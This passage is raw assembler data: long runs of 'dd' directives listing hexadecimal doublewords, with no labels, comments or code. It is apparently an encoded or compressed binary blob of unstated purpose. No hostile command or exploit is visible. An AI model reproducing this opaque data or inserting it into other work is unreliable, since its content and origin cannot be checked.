0C5934633h, 0C803501Ah, 0CBC46EA4h, 59B8F82Fh, 5CB8E8h dd 1436E68Ah, 8C7252DAh, 773CBD12h, 0F300A053h, 0DB843985h dd 19780016h, 81A08B5Eh, 251F0F72h, 0ED810506h, 16FC7D52h dd 0E400AC31h, 0EF13ACh, 65942F80h, 0E525AE02h, 891B093Ch dd 49895678h, 0E3C85110h, 3D9B00CBh, 0CA306A84h, 5725AB87h dd 5D8C205Ah, 0F698D053h, 96F81D14h, 2621DD3h, 1A1DF1E1h dd 299ED401h, 0CB164C29h, 0F9750783h, 97B147D3h, 48FC80EEh dd 0E1005EFAh, 419E6A76h, 7E868CBh, 70CDF1C1h, 0C80A902Ch dd 600302B6h, 5114E394h, 1F01A05Dh, 1E69CE16h, 406506C7h dd 3D80A3B7h, 1350F1E8h, 50A79444h, 59A04110h, 0D70ECA07h dd 0A045B0A3h, 6470F9A2h, 8A520096h, 671C2C19h, 0D275469Eh dd 74A3231Fh, 4F40031Fh, 603C15FCh, 1A0F00CCh, 0F26220A8h dd 76012881h, 0C52D6107h, 0FE60956Eh, 776A0302h, 920521CBh dd 17D36CD0h, 42134600h, 0A78ABAD6h, 0AA430281h, 32AC8793h dd 378F6563h, 9624A1A1h, 7B12C49Ah, 0DF898F00h, 7681921Fh dd 0FCF2008Ah, 0C58BEA86h, 0A73B0D3Ah, 8C658379h, 0D857E374h dd 545F5958h, 4E30848Ah, 0F95C014Fh, 2E5B9EC7h, 5040F849h dd 10930038h, 0E853A39Ch, 1605CE85h, 0A719C974h, 4BABD700h dd 5CE75C8Eh, 0D91CE51Dh, 12CA4190h, 68BC6F1Eh, 0B34400D0h dd 4CAEB8C0h, 7A90BA2h, 0F0206821h, 0F0EFDEE6h, 0E0668FA0h dd 76D15A12h, 0D7631502h, 0CEF8C8F2h, 0DFB881h, 2E380BF7h dd 5436CF27h, 0AE32D700h, 0D617D8D9h, 9C3312B7h, 68B802DDh dd 0F2604247h, 0B9012428h, 3A996D92h, 0C0D62D8Bh, 3A7DAA34h dd 4F801171h, 64EE28AEh, 0B6004A74h, 0E6C3F0E8h, 65BDF77h dd 119058ADh, 9914B09Bh, 0B9BF6Ch, 4AE6B897h, 0DDF618h dd 955AF998h, 50E2443Dh, 1A2C4AB0h, 0C0003C9Bh, 8E669439h dd 0EEDE09E4h, 0B8244DA1h, 98328035h, 0FE00EF4Fh, 0DBFAC81Fh dd 3974F1FCh, 88C9579h, 26B001B3h, 0BCEAF00h, 2F976CD1h dd 6071490Dh, 487A6E00h, 28895AA8h, 80CE9C39h, 35573934h dd 274024h, 0C3CBED2Eh, 15D79537h, 6700E890h, 0A8D410DAh dd 0EA68B88Bh, 9313003Dh, 0FC265870h, 0AF0F6BF6h, 0F7052F1Dh dd 8F8A1001h, 0CFE43645h, 27DF30DAh, 21E28198h, 82FC4E00h dd 0EAF0647Eh, 7AFF00F4h, 99787216h, 0E3F79AEh, 53DB1226h dd 0EE26D896h, 0C68A0E6Ch, 0D941B6ADh, 0EC6EBBF9h, 0E4C5791h dd 9ECE16D4h, 394C800Ch, 26CB03C8h, 9B31412Ah, 1F3598E0h dd 0E9EB7A00h, 52F40A46h, 1450F08Eh, 0B8B274EAh, 1EA01D38h dd 3541E900h, 0B023F610h, 48090083h, 5B98B553h, 0E200908Eh dd 0FA732C76h, 3FFC5ACCh, 0E0004430h, 0FE7E7D4Dh, 7006227h dd 48FDF891h, 0F25FE4h, 77D961CFh, 414A3DAh, 0F42A800Ch dd 0CCD586Dh, 0B715BE8Ch, 45003211h, 0D563E1EDh, 0B9E5FAFh dd 0AB60BE76h, 0BAD15880h, 430F77FFh, 60E09181h, 8CDE2751h dd 0D60D004Ch, 1647105Ah, 5700AAA6h, 5CF61FBh, 90FDA280h dd 0E5270234h, 0CD962034h, 988CB040h, 0E1B680A0h, 48855801h dd 0BB23A16h, 96EF1C24h, 0A51380BCh, 0BA1D10E3h, 5109B302h dd 80B201DCh, 23E487F0h, 0A870A6h, 627C96C8h, 404E3949h dd 6D7EC2F4h, 9040C05Bh, 456AA980h, 82F5071Eh, 44F1677Dh dd 4DE490C5h, 0DE027F32h, 669F6E16h, 0D4CCA2CCh, 0DC52EDh dd 0B24CF18h, 7710963Bh, 13B29807h, 699149E0h, 0F708A4h dd 7B2E9F98h, 64EF4436h, 56414200h, 0E25E7C3Ah, 0D400864Fh dd 787A2BDh, 0A0277454h, 0C4DC4h, 0D7E19933h, 9B09467Eh dd 0F97B3B00h, 0BFD276EAh, 0C2AB0082h, 0AA60CC1Ah, 0A007183h dd 0E8D7772h, 5CF03B85h, 0C707A068h, 50D2F3FAh, 0A720E35Fh dd 2A025E1Ch, 0A86E803Bh, 0FBD916F4h, 0A45B3F93h, 9E391331h dd 0A17BCC0Eh, 4A7DB64Ch, 8B714C00h, 4F9B14h, 882F7930h dd 800A1E0Eh, 0F682A150h, 0A6B42700h, 52FD8BB1h, 44F1052Eh dd 0C3FEC7E8h, 0C087E9F4h, 0AB2BBA7Eh, 0B0E56B2Ah, 2C88175Ah dd 0BAA316CFh, 0D0D00A2h, 0C975ECD9h, 0DD12F800h, 0B15613BDh dd 422700F4h, 0D8A96EA5h, 2E03CE24h, 0B7326D06h, 0E08DA0EAh dd 0FC830007h, 553EB8B3h, 8101FD94h, 0DC220170h, 2C30B9F6h dd 929E00C4h, 5EE37389h, 2A0937DDh, 0AE9B0AABh, 8FA3A080h dd 1F9A4035h, 810C0852h, 5B4AA281h, 1D07C0Dh, 820BA88Ah dd 15C484A7h, 9904EFCh, 0C000E694h, 107B2AF3h, 19E7E130h dd 0E1FF689h, 0C2FFB620h, 0A6572280h, 2D640F15h, 0C8B87379h dd 0F75FF84h, 25234169h, 81E814A7h, 0C4E807CAh, 0F07F6D44h dd 29C3892Fh, 16A05Ch, 0FB191C9Ah, 0B8D8CFh, 0B3DDFD6Eh dd 0D2517FF1h, 7C9F7900h dd 0D023983Dh, 0A0094C1Ah, 0CFE43E01h, 0EC4287CCh, 0D0EC826h dd 0C2B797EFh, 80BBA990h, 78AD4EA4h, 1F4A0950h, 10D84DA5h dd 0E8EB8600h, 7DBB97EEh, 61DA00F9h, 8CFF5615h, 0BF005DD6h dd 4A66512Fh, 3AD9Eh, 0DA6C88C9h, 1DDECC78h, 42D3F01Eh dd 5AF88DC7h, 7EB85890h, 0BCC712FCh, 7500E08Ah, 14E0E904h dd 0D0F85143h, 39382A01h, 3AF5EEEDh, 0E6972401h, 10809BE3h dd 0B11ACADEh, 6301A964h, 0EC697C54h, 6296E4h, 0C4CCE577h dd 9A0713B6h, 3CC083B8h, 24E41688h, 2971E51Eh, 681184C0h dd 675562h, 28181E42h, 8EB49ADFh, 0D2313C09h, 0BC5803Dh dd 1DF4C3h, 9D958FCBh, 970D8678h, 0F1E65113h, 150F0E0h dd 4CFAF315h, 808C13B4h, 0B5F99028h, 9EF8E44h, 0E7FB0763h dd 0D0B30427h, 1D9454E9h, 91FCA01Dh, 3071040h, 5EC25CD1h dd 0C3382B85h, 8A5787CFh, 10A4515Eh, 0C30B225Fh, 0F9234C08h dd 3EAC205Ch, 0F13C0861h, 0E49C4010h, 50E2D74h, 0AF2F0CFCh dd 0D2B3A603h, 16ADE20h, 0CD37D9E3h, 7067E14Ah, 1D07CB9Bh dd 9C306A87h, 0C3D014F0h, 2F1A008Fh, 0FAA77E4Bh, 0DB00BC3Fh dd 0B726C908h, 0E563717h, 13B8E1D7h, 0E8949D00h, 0B3782C52h dd 0DF1ED37Ch, 0C99D902Fh, 0D4B07CC0h, 3DAA230h, 0EAB655D8h dd 51C84AFAh, 2CFC35A6h, 872C800h, 0ACF8A147h, 0F66600FCh dd 0DC1265E9h, 0DD00FB92h, 799F7A39h, 7DFCD22Bh, 794F8A9h dd 47250D83h, 5EDBA034h, 0BA00F185h, 0C5234369h, 0FAF2F84Fh dd 176A01EDh, 0CFDF9C5Fh, 45B88ED6h, 0E93A207Fh, 390AAF9h dd 62474F43h, 3788724Ah, 4001EFF6h, 60A19786h, 66CCD74Dh dd 10063D9Fh, 7713E200h, 63D04A45h, 9D655Ch, 4D32A4ECh dd 0F46F1h, 0D2C7266Ch, 0F53DEE70h, 0A2FCED00h, 2D672EB1h dd 1EA0713Fh, 40DB226Bh, 30079A6Eh, 96020FF6h, 39D095C5h dd 3F6240DCh, 0ECFA1FBBh, 0C7678071h, 996913CEh, 201E2F79h dd 2BC7727Fh, 1C20F6E2h, 7CF3C754h, 5F570025h, 365DA13Eh dd 6A00D1B7h, 0DB8CF187h, 303729h, 5E0F44EEh, 40E7D815h dd 9EBEB03Ah, 0F2036C18h, 69AFBDh, 1AA91958h, 0E7380246h dd 7B73BA00h, 8A1E4807h, 874900C4h, 7C106316h, 37F8C8E6h dd 0E9FBBA00h, 0EFB80E7Ah, 8080505Ah, 822100DFh, 66779DA9h dd 832C582Eh, 0D41E7E5Ch, 7F002412h, 0F3496D36h, 0C99038Ch dd 0DF86A0A5h, 0C63490BCh, 9501E397h, 518B56EFh, 3880542Eh dd 154459A5h, 32831A7h, 8C02B025h, 0B740BA7Bh, 50C0A0D0h dd 81D545h, 5BEC1F4h, 0ABA0D651h, 0CB2FC0C0h, 18B361A4h dd 5988F73Dh, 0A0033FBh, 0BD60D1B4h, 0A10371h, 97BE6A86h dd 0E34FCDD5h, 9D398C0h, 30DF6BEAh, 5481DCC9h, 840799B9h dd 35348DCFh, 7289EB56h, 8E47036Ah, 375C97C7h, 0B9D215C0h dd 81FE7400h, 0EF2E1E8Dh, 34AE00DFh, 2D6D7512h, 5500A1EAh dd 322A03A0h, 78ADE09h, 0D9492C08h, 469592A8h, 15CF64E0h dd 55071903h, 889360EBh, 0A0D58AE4h, 75CDD7A0h, 0A02B6013h dd 7028F26Eh, 7168EA17h, 75543800h, 470EC6h, 0C7B33813h dd 6E3B509Fh, 0AE581E00h, 0A16614D4h, 0F6631E2Eh, 0D9E44022h dd 0B595528h, 5D8F7501h, 1B4E88A2h, 8E0A050h, 0BDE700E9h dd 6F1567B4h, 1A1CE1A7h, 0BA1636C1h, 25280Eh, 0D240A601h dd 765B26C5h, 6CC68C20h, 970547F8h, 0F8891F84h, 0F665A040h dd 709060h, 9EEB9C24h, 0D76FA4EDh, 8130EF3Eh, 0FA9FBE03h dd 0A2FC386Ch, 212A0157h, 2254C7CAh, 0C5F840AAh, 603D8442h dd 0AC78E264h, 12332EB2h, 4BFC47h, 38C8F221h, 4D7E34h dd 29A67FA4h, 0FBBFBE84h, 0AAC2D73Eh, 0E4E5F8FEh, 7B006086h dd 6A165B61h, 0AEB6CDh, 0D70F4809h, 2D5ABF0Bh, 0CF3AAD00h dd 23BB07A7h, 4ABC074Ch, 0D02E2901h, 1889D85Eh, 0B7A89D26h dd 8CD11503h, 8E00E7FAh, 840C73h, 44E295F3h, 0C7BDC958h dd 2C9ADDE6h, 0AA75BE0Fh, 21D68CD3h, 0F1D0035Dh, 19E9A667h dd 0DB8960A8h, 313D4100h, 5F089BCBh, 879A005Eh, 203A44B3h dd 0DA009367h, 3513E37h, 4F14B2h, 0B09C813Ch, 57FCB441h dd 1FBA2B3Ch, 59803E77h, 0EA375F6Eh, 17D50010h, 3AC63112h dd 5500D0B1h, 3D39286Fh, 1DDE3BCh, 35A9BF1Dh, 0CA89FCC4h dd 6B792C60h, 818CA405h, 0C000127Dh, 82DEDCBCh, 0A84F1222h dd 64F13Ch, 5E0675A0h, 4E7ED01Ch, 17E07680h, 7631142h dd 70911A66h, 9600F51h, 1EAE8807h, 0EE276B00h, 129BC8E2h dd 5141000Ah, 0F1BC8A13h, 0D50A2BC2h, 0E6B29CAEh, 0A0AFDE0Ah dd 0FC164B00h, 0C84F050h, 0DCC7A5D8h, 2C04B898h, 430D9D4Eh dd 5FD24490h, 0E85C4D48h, 4EB3D400h, 0CA988747h, 0CCD7624h dd 0E7857B81h, 51C423F9h, 5FFF0047h, 939E1739h, 0A002D79h dd 91F972CDh, 90617889h, 9F6D099Ch, 0F88142D9h, 34CFFAECh dd 6AF24E90h, 9B791907h, 0B2A1CBE7h, 48878C41h, 674DF85Ah dd 51D01021h, 0C00D4B1h, 0C376EF64h, 2015BA95h, 46023345h dd 62E32287h, 5A6060E0h, 93BB0011h, 0D284E2F8h, 37632DDFh dd 8820B0C1h, 7A2FC4h, 0D0BC6D6h, 0AF58083Bh, 117E7607h dd 3810AC84h, 902D9B5Eh, 3E877C13h, 0D580B3C5h, 78364C3Dh dd 550EAB89h, 0E0B1FA13h, 447A8379h, 748E0A46h, 0F46BD1h dd 0EFC204CDh, 88006618h, 8DAA7302h, 3EBEFF01h, 71877BC6h dd 30C1BA9Dh, 96EA4DD6h, 5975190Ah, 8902D0CCh, 60037453h dd 0AB0C184h, 0E0824D7Ah, 158C00E5h, 8137592Fh, 26DFAF00h dd 48C4634Ch, 0E4D20018h, 8677CBF6h, 677BC305h, 3DABDB00h dd 23F4D84Dh, 85BB0316h, 3E69A109h, 93E73790h, 8D46BF0Fh dd 18D480EBh, 0B1A0A4A7h, 8A758244h, 4C108DABh, 5DDE1C2Eh dd 0AD61C0D4h, 1441C4FDh, 2665283Eh, 680F6135h, 548920B7h dd 0FEEE98h, 4347703Ch, 0D816ED6Dh, 85032272h, 90B96A06h dd 4838D82Eh, 2F6C385Fh, 0A80F5D80h, 0F2F0C136h, 0AEE8B101h dd 72BF91C0h, 753DFE40h, 682F4931h, 0F6013220h, 0EC505759h dd 0DC348306h, 53620018h, 0DE38D8A1h, 0BE1D2558h, 5B058C21h dd 0EC8046EAh, 8DEB18h, 979913Fh, 70C01DB3h, 5C86D501h dd 940E0238h, 1FB6F870h, 0C050160Fh, 0BBF59581h, 6A3C1009h dd 825A84F9h, 24A44A67h, 6DFB00D2h, 31EDFF90h, 150DB706h dd 20E8E460h, 0C14DFC03h, 119EE9B2h, 4E6300B1h, 0F1B79E0Dh dd 3664039h, 0D9E33702h, 352000BFh, 3D7DD756h, 6203B7DEh dd 0EA416F4h, 1242F709h, 7265E06Dh, 0C2E80F05h, 0FC4069EAh dd 5CEF8D38h, 0EB94A401h, 7B37D95Ah, 0F9525441h, 311A1862h dd 8CE1A8CEh, 0D8718006h, 0E60AF12Ch, 0EF4700C5h, 6878D301h dd 0DA0E10C8h, 0A1B2B3C6h, 7DD8E616h, 0AA03D0h, 907F6CD0h dd 41B548BBh, 0DBA6C800h, 0A8B3D9A3h, 0E0287F72h, 0CD8100AEh dd 5F30BC55h, 7A03ADB2h, 3B54D0DCh, 0F497B80Fh, 6F1900F8h dd 72B4573Ch, 0E809616Bh, 0E50BE58h, 0F6E9077Fh, 4901754h dd 8A5E95h, 4E90B53Fh, 0B2FB35BDh, 0B9006CBAh, 0D1CBE253h dd 0B88C2A9Ah, 4BC50068h, 0FC62A496h, 3A0059A1h, 30173F5Ah dd 2A6EEFDCh, 7894E31Ah, 259500EEh, 15A10CC1h, 71000F31h dd 353C1B07h, 316C2AB3h, 0A03812AFh, 5E547094h, 0D9A5130Ah dd 9880B0B5h, 3F0B14E8h, 0EDB70CC6h, 0AB08D637h, 0C17621C0h dd 0B4F214h, 8BC94C50h, 3E7443C4h, 740B100h, 0FEE938A0h dd 52E3E231h, 0B806DCBAh dd 0E9E05AFCh, 3D03E60Ch, 601B20D0h, 0F4A5C1E8h, 806143Ah dd 0D61A50A0h, 5B760019h, 0A9632FBh, 8C005237h, 29E4110h dd 0D938F33Ch, 18A3C8D0h, 91408EAh, 0A1C4D63Fh, 14C37840h dd 0BD0E2011h, 60B85B0Ch, 3F869766h, 0F83A00E9h, 0DD35071Fh dd 9800BB80h, 0FA63F75Dh, 1EC5B49h, 0C3939D9Ch, 0E004CBFBh dd 175C862h, 0DBD54F00h, 70489A2Bh, 633006Ch, 0B6F4F199h dd 0A5007852h, 0A90D3261h, 927087h, 4089CBC2h, 49B9428h dd 0F037A61Fh, 60C3174Eh, 0B1259FF1h, 0C76E0029h, 0B39CE2B2h dd 0D80099FCh, 7137C11Dh, 0E16BEBh, 9E11B893h, 0FF2707D0h dd 8899D600h, 254ADBC6h, 93AE654h, 0EFAE3971h, 4F82A480h dd 9B26D713h, 600090EDh, 7EFB8A07h, 0FC4C002Ch, 8C5B3CF0h dd 1C0071B5h, 13097A6Fh, 0B49157h, 86EF2622h, 0CE5DF744h dd 0D0DEAC1Ch, 3C1E00FBh, 0B22C4172h, 46D50042h, 0C9275C12h dd 5B58E776h, 196032Fh, 0FF60524Fh, 577180CEh, 0F356C0h dd 0CE6836F6h, 137686ABh, 29058C0Eh, 8821C032h, 71B8CAE5h dd 6E09Ah, 807CDE46h, 72BE2B66h, 4D3AB00Fh, 0A4AB206Fh dd 7205E932h, 0ADD63C64h, 6AEB3700h, 411F2061h, 363A7701h dd 3CA3942Eh, 0E4696880h, 6249517Ah, 2000477Ah, 6BCE861Bh dd 0C6A975h, 0F0DF15C2h, 0F2935E96h, 3873FD30h, 28D347h dd 29C1C334h, 0F885CF4Fh, 307B0F38h, 25564087h, 60940EF1h dd 96808A91h, 51B31CFCh, 2A051900h, 1DBE8222h, 954D0001h dd 74F49699h, 1100B9BBh, 7BFE0D62h, 0E6B450DDh, 4C5401D3h dd 36CF6C5Ah, 91FFCCA9h, 50A7C60Eh, 7B2680EAh, 386DB4h dd 0E8AA54B5h, 9757D9F9h, 2FD4B1Eh, 9CBDBA83h, 0A53EF05Ah dd 335F00CAh, 0B4DE7B48h, 5B00EBE0h, 0CE6B594Fh, 0C9E237h dd 7BEE87D7h, 0BEAF5DE9h, 0B0AD9600h, 56F12F5Fh, 0C92C070Eh dd 706D5359h, 7B8A9C87h, 8039FD39h, 91F0A96Ah, 889261h dd 0FA305412h, 56A8ED70h, 0A0E6B918h, 0A63D88h, 9E1C2F9Fh dd 0BD871D2Ah, 0A8C8300h, 0F4E82127h, 2376B2h, 3FAC9171h dd 65174C97h, 0C8BD110Fh, 5305608Ch, 65B0828h, 0D4A240Ah dd 22229836h, 8F150072h, 0E97EFE80h, 86064189h, 5A4C10Dh dd 0C3B400DAh, 1CB154FFh, 0C600EB32h, 0CC19C0A1h, 15EA94h dd 0AC7E91FCh, 0BBBC7A35h, 40B880EDh, 7754E2A7h, 5FF707D9h dd 6032EBBEh, 722F6699h, 7418FD24h, 3798CC20h, 0ADA6E21Fh dd 95691A47h, 0D3330CA7h, 80B4F2BBh, 0CCF2A4FCh, 5F370C9Ch dd 0AAB86BD5h, 0F9A98F00h, 7CFD0A25h, 0D430FB7h, 40529E53h dd 0EE0C7840h, 2A008A48h, 185F6D33h, 0B23C22h, 0EF1F70EDh dd 0C8574BFFh, 9DE91E00h, 0CCAB6A42h, 611B004Ah, 40637D6Dh dd 76EE4C0Ah, 0F4644800h, 0D478853Ch, 0DF5100F0h, 993BDCABh dd 0BB009D04h, 75089247h, 0AF9377h, 0BE35CA9Ch, 0D9149F32h dd 27025200h, 225D5EF7h, 96650394h, 0E3B1A72Bh, 4400BBDBh dd 0B68CD11Ch, 0CFB5A659h, 69872A19h, 10E2061Eh, 0CC536E00h dd 44DAC355h, 735200DDh, 0E79CD251h, 5A00196Dh, 1D4DA1F5h dd 0D89E61h, 5E6BE48Ah, 0E09B217Dh, 0FB00BAFCh, 2EDBC0FDh dd 3A205Bh, 93B94EE6h, 77A68AD4h, 0D0BDD215h, 3E8C00B4h dd 2BEA7164h, 0B1FA0068h, 9F23F4F0h, 0A8124344h, 0CC00983Ch dd 742613CEh, 7C9D0060h, 0EC840D2h, 4D02AD8Eh, 2402B499h dd 0BD1C6834h, 3622036Ah, 19845E0Ch, 663BC690h, 1F694588h dd 0CFA4F9CFh, 0B2A0D449h, 2A1CDF63h, 9C082700h, 0DD6B050Ch dd 43CC000Ah, 3A1DB71h, 28005D06h, 0EC7E80B3h, 0E8BEE36h dd 6071386Fh, 29C5BCC0h, 7C0E6A0Fh, 23126EA3h, 80D95451h dd 9AAFC3h, 75FEFCBDh, 0D8F7F6FFh, 95DCF11Ch, 58240166h dd 1F3B00B8h, 9011F523h, 165D00A2h, 68D3C240h, 97009233h dd 89B0DC06h, 38FDF66h, 0CCFE9E2Fh, 0CA005453h, 62C5E2C6h dd 248955h, 0F1852DA2h, 70A53643h, 0D2AFD700h, 17967375h dd 9CC04CDAh, 0E9C4BA00h, 0A0A36D0Fh, 0F7BC53Dh, 0A05DCB1Ch dd 878FFC58h, 0C7D500CDh, 72F2AD36h, 421F7390h, 2CC1F31Ah dd 0F1EC8FC6h, 70DDAEE4h, 25470092h, 8849561Eh, 0EE01ED5Ch dd 7B4044ACh, 27608AAEh, 4B57004Ah, 4E8C8638h, 0B1046358h dd 5AC5F0Ch, 0DB00E494h, 0DB086994h, 2C97095Eh, 0E8094EF6h dd 0B870F00h, 7C07CF67h, 53E72731h, 0BA5295B0h, 5A600038h dd 7AF0104Eh, 701777Fh, 0E3DBAF83h, 0E73070ADh, 204500B7h dd 5E182149h, 78093B1Fh, 0A5FB83h, 0ACADD11Bh, 0E9CC00CFh dd 0D9D85DDDh, 17002B54h, 7906C921h, 0FC5855AAh, 0CE700E5Bh dd 6E40D635h, 16FCEA3Ch, 29443230h, 0BEDAAFh, 0B33782E7h dd 7AEF3C52h, 3DDC0C01h, 0C8486E04h, 0F66BC300h, 43038B7Bh dd 106DE0BFh, 59D9B1DAh, 2220C24h, 0AA8FB302h, 4CC826FCh dd 0A70186B8h, 2901DDE1h, 4E8B369h, 0F36B07D2h, 0A0C35A8Ch dd 0E545C462h, 8947DF3Eh, 81CA605Eh, 0EA0EFB61h, 0B283ABC4h dd 0C2060F94h, 2A21ED67h, 0D093F011h, 75630945h, 1183EF20h dd 60685310h, 288F1B20h, 21110071h, 10EC645Ch, 233A0812h dd 0E29F80CBh, 0A955A36Ah, 8EC9C25Ah, 0CC0187Fh, 89332B10h dd 0C66958D7h, 27110E20h, 77C3CB07h, 0E6C09B96h, 1D012645h dd 5C69E79Fh, 80D8F28Bh, 0C840124h, 0FFAB2E76h, 0D81E409h dd 5F6F2B00h, 543A59A3h, 0D7C809ADh, 34A0CAC4h, 25AA84Bh dd 0B5890339h, 0D802680Dh, 9A99EAECh, 0ED48C084h, 1084A09Bh dd 0B40B0FB7h, 91C04B55h, 5FC30A4Fh, 0A778F6C0h, 99C6D2h dd 0DCBE84F5h, 0CFC45966h, 557CCB07h, 0B9179Fh, 0B74488EAh dd 0DB2B00DAh, 3B871682h, 7F002957h, 89E5097Ch, 712601h dd 9AECEE32h, 4AAB1982h, 9D1F4E00h, 93283394h, 0E67C0074h dd 856D39Bh, 830E3E9Eh, 21653DDBh, 483CF8EFh, 1FAA4FCCh dd 0C073915Eh, 0A6C8FC1Dh, 425C0288h, 22900710h, 0BD208763h dd 7F5DABh, 100EF220h, 0C24546CCh, 7354CA00h, 38AE36BFh dd 0EB7F4CDh, 245F496Ah, 5D82DC20h, 3F00973Ah, 0A4016C5Eh dd 0E38731h, 6870740Ch, 64E6DF81h, 0EF6F8A8h, 6C074A70h dd 9B8A288Eh, 0C06204D3h, 39E0AD68h, 67029123h, 0C5218790h dd 36517844h, 69E247F6h, 43D71003h, 213F0830h, 0E8B532Bh dd 8655E5BEh, 0C3C20324h, 681657B6h, 40F3359h, 0C6520241h dd 8B304868h, 6FC400F5h, 0CAA3E2E4h, 0A2741AEAh, 242180FFh dd 0F930C4FEh, 260404ADh, 9081715Dh, 0F8A3870Ch, 0B0B68B30h dd 60CA3455h, 6D442084h, 0CC60EE28h, 9A132E29h, 19AD035Dh dd 2955833Bh, 8839082Eh, 9A1B0C80h, 78430EF0h, 0E3BB047h dd 5CD61041h, 771864Ch, 0C75AFC03h, 3F5EBA3Ch, 0AB98CF68h dd 0E5D7808Dh, 0DB50108h, 145503B9h, 280779F2h, 0F311ADA3h dd 2721C4C0h, 0EF30007Fh, 0F89DACB2h, 9C0051C6h, 46198EDBh dd 28AFFBC4h, 0F2081Dh, 22ABA90h, 44974E48h, 7FBCD000h dd 206625D8h, 0FF30015h, 32033CA3h, 0C400A8E0h, 0EDEFB2D5h dd 0EAC834h, 114F9FCBh, 94413F6Ch, 3A0F44FEh, 3C75DBEh dd 0C858062Ch, 390F2374h, 0D8801967h, 8E438064h, 0B000AFE6h dd 0EA7EF68Fh, 81548Ah, 0CF6878C6h, 19CC6D9Ah, 80739C38h dd 9F0823FBh, 70525F43h, 0B8C5001Dh, 0E3B29868h, 4004ABEh dd 6A80CB22h, 936B4Bh, 4CBCE6BDh, 0CC74F206h, 3500A6F0h dd 0C53711C0h, 59EAAFh dd 7DBE2294h, 1FBD8B40h, 4BDF7203h, 0C053E4F5h, 1FC74DDEh dd 86C615B8h, 0D0195259h, 0AE96CA00h, 8119C83h, 8BD507FAh dd 7059765Bh, 0BFE1F4DDh, 3C00F9E4h, 0A5D4B940h, 0C84178h dd 5EBC8E9Dh, 3A231AB4h, 0AC9E3400h, 9F7EB88Ah, 5BC400B3h dd 437FB978h, 0C97D6527h, 0FA91AA1Fh, 118E53C0h, 466BD3h dd 56B1F20Dh, 89DE5EEAh, 80586800h, 5FB49E9Fh, 9AC00DBh dd 26C1BAC9h, 0C8006718h, 43DE8EBDh, 0E06638h, 90E6ADB0h dd 0DA80F114h, 52A28C00h, 71D3108Fh, 0F40E0048h, 6FC0636Ah dd 9400DAEDh, 0B2729D21h, 0C0F1DCBCh, 4535F4A8h, 980B1266h dd 871C2C81h, 600F1AFEh, 0C55429FEh, 0F7A5013Bh, 65379839h dd 335BE443h, 403C37Bh, 41B51059h, 2AA8019Ah, 0F7DEBE14h dd 935BFC26h, 6871C637h, 846ED5D0h, 8217046Ch, 40C7622Ch dd 0CD4FDF2Bh, 0A3340ABAh, 8FB0FC35h, 0C1A0E16Fh, 11284315h dd 9E0EB8F6h, 0A007FC13h, 639E078h, 959200D5h, 0BB6EE947h dd 0F5005A0Fh, 6BDF8862h, 0C628D7h, 0AD77486Fh, 39ECDC25h dd 4C00A070h, 5BB841C1h, 398A2DAh, 64D4292h, 3B93F6Bh dd 0C04C20F7h, 88E35100h, 72F6D7E9h, 0A715188Ah, 48E8A163h dd 3E616707h, 3510CC7Fh, 31F4FFEh, 0A6D193B7h, 0BA1BE01h dd 61DEFCD6h, 9EA0DD00h, 88F30C6Ch, 9B42008Dh, 47A47583h dd 6E3FDC56h, 0F9B500D6h, 951A826Ch, 5CC3142Eh, 5208CC84h dd 0A700C109h, 5F40BDE3h, 0D16402DEh, 0E2384496h, 0FCF48090h dd 1ABB35Ch, 0C3C2FD6Fh, 0EBED57EAh, 5E850D8h, 0D773DAA2h dd 40BC303Ch, 53EE5999h, 0A8FF2200h, 0F2894C05h, 7D3213A2h dd 98DE02A6h, 8CA01943h, 0BE77E965h, 0FC5D1400h, 3C1D693Bh dd 164000ACh, 96F719ABh, 6FE8E2D1h, 505C4Ch, 0BFFF053Ah dd 0ECDD1Dh, 0CBF5FDACh, 1EF0CAFBh, 67E8A401h, 0DE1AB89Fh dd 0D704F0h, 0FD827890h, 752461E4h, 0C5A1AE00h, 42303AF3h dd 6BD00009h, 1FC2CE0Fh, 0A91D1495h, 9080F917h, 5C94C98h dd 0F4A10032h, 80B02006h, 0DA2618ABh, 0AE006B31h, 962490Fh dd 0D0330001h, 668E7230h, 0A11EDB92h, 0BF0071B6h, 23C7B945h dd 703826D3h, 5ACA006Ah, 343F2C8h, 0B2B7E700h, 0D919AA49h dd 89B05C08h, 0DE1F020Fh, 0F21288D8h, 2D028272h, 74A231CBh dd 0C052C0C3h, 7176FAh, 0B73F7E66h, 348288BFh, 764AD500h dd 3B5EAB2h, 686D009Dh, 0E32BFEB3h, 6B003F37h, 4D08ECDFh dd 1A3AFC9h, 0CA47C604h, 0D4835030h, 5A28515Ch, 60484A7h dd 69AC5D2Ch, 0D7ED40D0h, 5E100099h, 0B9EA452Eh, 6F0EAAE6h dd 0C03A297Ch, 0EB7318FEh, 0CCF0356h, 3BFDDE88h, 0A4075B98h dd 7C0E0D01h, 0B39E4A97h, 5233B540h, 342D0943h, 4C007A7Bh dd 3FD077C5h, 36F4D0Ch, 2676602Eh, 0F11851h, 7D67C270h dd 0A092FB3Eh, 0E409E0F2h, 25C108F8h, 9CC03738h, 4C482613h dd 5A00AC22h, 0B10470F6h, 8401E969h, 3BFBC1CFh, 71C1CDBFh dd 227EDE40h, 308567EFh, 0D3F87060h, 0B4A0FFBFh, 847055h dd 8287B5A7h, 513E3189h, 0FA008BE2h, 68670206h, 60815Dh dd 4BAB2324h, 27AA2A16h, 89764000h, 4384C114h, 0BC4E0036h dd 489A6D5Ch, 0FD01D0F0h, 1BB7A724h, 82DA31DDh, 608AA9BCh dd 1C0A1E09h, 4094A8F6h, 81364A71h, 10063DDh, 69867D3Fh dd 0E32D8C08h, 0E3CEBC0h, 7368830Eh, 40287A47h, 2B69B0DCh dd 3130F600h, 17E0F526h, 867E0EEBh, 0E5638B22h, 52F8CC19h dd 23133CC1h, 0D500F70Bh, 0DAD2B1DDh, 0BC2800B0h, 91C8CC66h dd 0FE2CC1D1h, 3B004912h, 3D2088CAh, 0AEF10092h, 0B0F68B3h dd 0F80070A3h, 26CA3163h, 754496Fh, 3A88F253h, 6A4EEE15h dd 0CE558020h, 0DA3EFD4Ah, 96BB47h, 9ED1D49Ah, 26D8B16h dd 2360F633h, 9E40CF12h, 93003104h, 92BFB11Eh, 30C9A3h dd 0DFFDD96Eh, 0BBDA5382h, 0DB113D07h, 9410394Bh, 0FF558FCh dd 4A5923E7h, 0E1FE04A0h, 6E001381h, 1293A02Ch, 0C44754h dd 0E0B8DABBh, 3C892D5Bh, 0FE09287Dh, 20519550h, 29A5094Ch dd 738F0965h, 0C78027A7h, 790D2869h, 0D5321800h, 0B9538B48h dd 0D06805BAh, 0FA8F3FC6h, 0E51556C0h, 